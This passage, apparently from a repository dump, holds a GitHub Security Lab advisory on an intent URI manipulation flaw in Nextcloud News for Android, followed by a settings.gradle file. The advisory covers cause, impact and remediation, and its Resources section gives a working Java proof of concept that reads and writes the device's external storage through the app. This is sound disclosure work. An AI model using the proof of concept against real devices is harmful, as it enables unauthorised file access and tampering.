Manifest:\n\n[`AndroidManifest.xml:164`](https://github.com/nextcloud/news-android/blob/df13ae1c42f60dc9461278081ca3f6fd20a602e9/News-Android-App/src/main/AndroidManifest.xml#L164)\n\n```xml\n<provider\n    android:name=\"androidx.core.content.FileProvider\"\n    android:authorities=\"${applicationId}.provider\"\n    android:exported=\"false\"\n    android:grantUriPermissions=\"true\">\n    <meta-data\n        android:name=\"android.support.FILE_PROVIDER_PATHS\"\n        android:resource=\"@xml/file_provider_paths\" />\n</provider>\n```\n\nThe files it gives access to are defined in [`file_provider_paths`](https://github.com/nextcloud/news-android/blob/df13ae1c42f60dc9461278081ca3f6fd20a602e9/News-Android-App/src/main/res/xml/file_provider_paths.xml):\n\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<paths>\n    <external-path\n        name=\"external_files\" path=\".\" />\n</paths>\n```\n\nWith this information, and attacker can create an Intent targeted to `SettingsActivity` with the appropriate flags and the data URI `content://de.luhmer.owncloudnewsreader.provider/external_files/` to access the external storage using Nextcloud News as a proxy without needing to request the external storage permissions.\n\nSee the `Resources` section for a proof of concept exploiting this vulnerability.\n\n#### Impact\n\nThis issue may lead to Privilege Escalation: a malicious application can use Nextcloud News for Android as a proxy to access the device's external storage without needing to request the appropriate permission to do so.\n\nIn a worst-case scenario, the attacker could overwrite files that are saved in the external storage and are owned and used by Nextcloud News to alter its functionality, since it is mentioned in [`PRIVACY.md`](https://github.com/nextcloud/news-android/blob/df13ae1c42f60dc9461278081ca3f6fd20a602e9/PRIVACY.md?plain=1#L34) that the external storage is used for caching purposes:\n\n> * `android.permission.WRITE_EXTERNAL_STORAGE`\n>\n> Used for caching purposes / offline reading / storing podcasts \n\n#### Remediation\n\nWhen it is needed to return data to the calling activity with `setResult`, use a new `Intent` that contains only the appropriate pieces of data (like extras) whenever possible. \n\n```java\nIntent intent = new Intent();\n// set extras as needed\nsetResult(Activity.RESULT_OK, intent);\n```\n\nIf reusing the original Intent sent by the calling activity is needed, make sure that its `data` and `flags` are set to safe values:\n\n```java\nIntent intent = getIntent();\nintent.setData(Uri.parse(\"content://safe/uri\"));\nintent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n// or\nintent.removeFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);\nintent.removeFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);\nsetResult(RESULT_OK, intent);\n```\n\nAlternatively, check that the Intent's `data` and `flags` contain expected values:\n\n```java\nIntent intent = getIntent();\nif (!intent.getData().equals(Uri.parse(\"content://safe/uri\"))) {\n    setResult(RESULT_CANCELED);\n    return;\n}\nif (!((intent.getFlags() & Intent.FLAG_GRANT_READ_URI_PERMISSION) == 0\n        && (intent.getFlags() & Intent.FLAG_GRANT_WRITE_URI_PERMISSION) == 0)) {\n    setResult(RESULT_CANCELED);\n    return;\n}\nsetResult(RESULT_OK, intent);\n```\n\n#### Resources\n\nThe following PoC demonstrates how a malicious application with no special permissions could read and write from the external storage in behalf of Nextcloud News exploiting the issue mentioned above:\n\n```java\npublic class IntentUriManipulationPoc extends Activity {\n\n    public void poc() {\n        Intent i = new Intent();\n        i.setClassName(\"de.luhmer.owncloudnewsreader\", \"de.luhmer.owncloudnewsreader.SettingsActivity\");\n        i.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);\n        i.setData(Uri.parse(\"content://de.luhmer.owncloudnewsreader.provider/external_files/Documents/test.txt\"));\n        startActivityForResult(i, 5);\n    }\n\n    protected void onActivityResult(int requestCode, int  resultCode, Intent data) {\n        super.onActivityResult(requestCode, resultCode, data);\n        try {\n            OutputStream outputStream = getContentResolver().openOutputStream(data.getData());\n            outputStream.write(\"pwned\".getBytes());\n            Log.w(\"attacker\", \"Written!\");\n            InputStream inputStream = getContentResolver().openInputStream(data.getData());\n            Log.w(\"attacker\", IOUtils.toString(inputStream, StandardCharsets.UTF_8));\n        } catch (Exception e) {\n            Log.e(\"attacker\", e.toString());\n        }\n\n    }\n}\n```\n\n## GitHub Security Advisories\n\nWe recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for this finding. This also allows you to invite the GHSL team to collaborate and further discuss this finding in private before it is [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory).\n\n## Credit\n\nThis issue was discovered and reported by the CodeQL static languages team member [@atorralba (Tony Torralba)](https://github.com/atorralba).\n\n## Contact\n\nYou can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2021-1033` in any communication regarding this issue.\n\n## Disclosure Policy\n\nThis report is subject to our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).\n"
  },
  {
    "path": "settings.gradle",
    "content": "pluginManagement {\n    repositories {\n        gradlePluginPortal()\n        google()\n    }\n}\ninclude ':News-Android-App'\n// include ':Android-SingleSignOn:lib'\n"
  }
]